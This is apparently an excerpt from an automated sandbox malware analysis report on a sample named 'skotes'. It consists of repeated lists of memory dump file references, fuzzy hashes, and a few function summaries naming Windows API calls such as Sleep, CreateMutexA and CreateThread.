Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 11a12291df6a4176f187f4c0714c4d30893dc7e2325f970f6d7fbded3a9e4a0a
Instruction ID: 2dd9e1ed7d185a70d583df52a400673b9b6fc200d917a5a0cc16ba55d15d67ec
Opcode Fuzzy Hash: 11a12291df6a4176f187f4c0714c4d30893dc7e2325f970f6d7fbded3a9e4a0a
Instruction Fuzzy Hash: 49316A316106009BEF08EB78DCC9B6DB7A2EBC1328F244618F095EB3D1C7759D918722

Function 00C3A682 Relevance: 4.6, APIs: 3, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00C3A685
Sleep.KERNEL32(00000064,?), ref: 00C3A963
CreateMutexA.KERNEL32(00000000,00000000,00C93254), ref: 00C3A981

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 984ea8caf28dc9f896662777d7f3b15d2e5d88b2726cc8653882ce04cdc4ac1f
Instruction ID: fc997c56b96f6841d4a627e7f14a842401e7bea4b62cfae051d3014f0a03bda9
Opcode Fuzzy Hash: 984ea8caf28dc9f896662777d7f3b15d2e5d88b2726cc8653882ce04cdc4ac1f
Instruction Fuzzy Hash: AD313B316142009BEF18EB78DCC9B6DB7B2EB82324F244618F095E73D1C7759D918766

Function 00C3A7B7 Relevance: 4.6, APIs: 3, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00C3A7BA
Sleep.KERNEL32(00000064,?), ref: 00C3A963
CreateMutexA.KERNEL32(00000000,00000000,00C93254), ref: 00C3A981

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: fa27813a36dcd4cbd499c29459c6e7b781a5de5e1045732bbcedcafea45de4e2
Instruction ID: ed4d9f2173eee2959e92bb60b1b3056fbe1bbba45272bf2246c12c77d6f22dde
Opcode Fuzzy Hash: fa27813a36dcd4cbd499c29459c6e7b781a5de5e1045732bbcedcafea45de4e2
Instruction Fuzzy Hash: A3314A31610204DFEF08EB78DDC9BADB7A2AB81324F204618E094A73D1D7759D918763

Function 00C66E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bbdd592d43e196252e7d1f484189dfe2324bfd4fc81e31c683dfaf5827fd8a1
Instruction ID: b3651572d6968dfbfcfe9de5aa77fe79c99ab80ae5b17cdea740b6d218d87dac
Opcode Fuzzy Hash: 5bbdd592d43e196252e7d1f484189dfe2324bfd4fc81e31c683dfaf5827fd8a1
Instruction Fuzzy Hash: 8021D8329092047BEB316BA8DD81B9F3769DF41378F100351F9342B1D1D7709E02A6A1

Function 00C3A960 Relevance: 3.0, APIs: 2, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 00C3A963
CreateMutexA.KERNEL32(00000000,00000000,00C93254), ref: 00C3A981

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 2f807fa8203fb27399e6f4c5a3af771de9ce8c182235a703c130bb493a290a8c
Instruction ID: ca13a99472b9fd38b30585761ea442cd8f83e911a7725537cf75c51ab245725f
Opcode Fuzzy Hash: 2f807fa8203fb27399e6f4c5a3af771de9ce8c182235a703c130bb493a290a8c
Instruction Fuzzy Hash: F7E086202AC3019AFF103368AC89F3F71D887D6718F612815E558D61D186B0DE504177

Function 00C46D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00C46D11
Sleep.KERNEL32(00007530), ref: 00C46D25

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
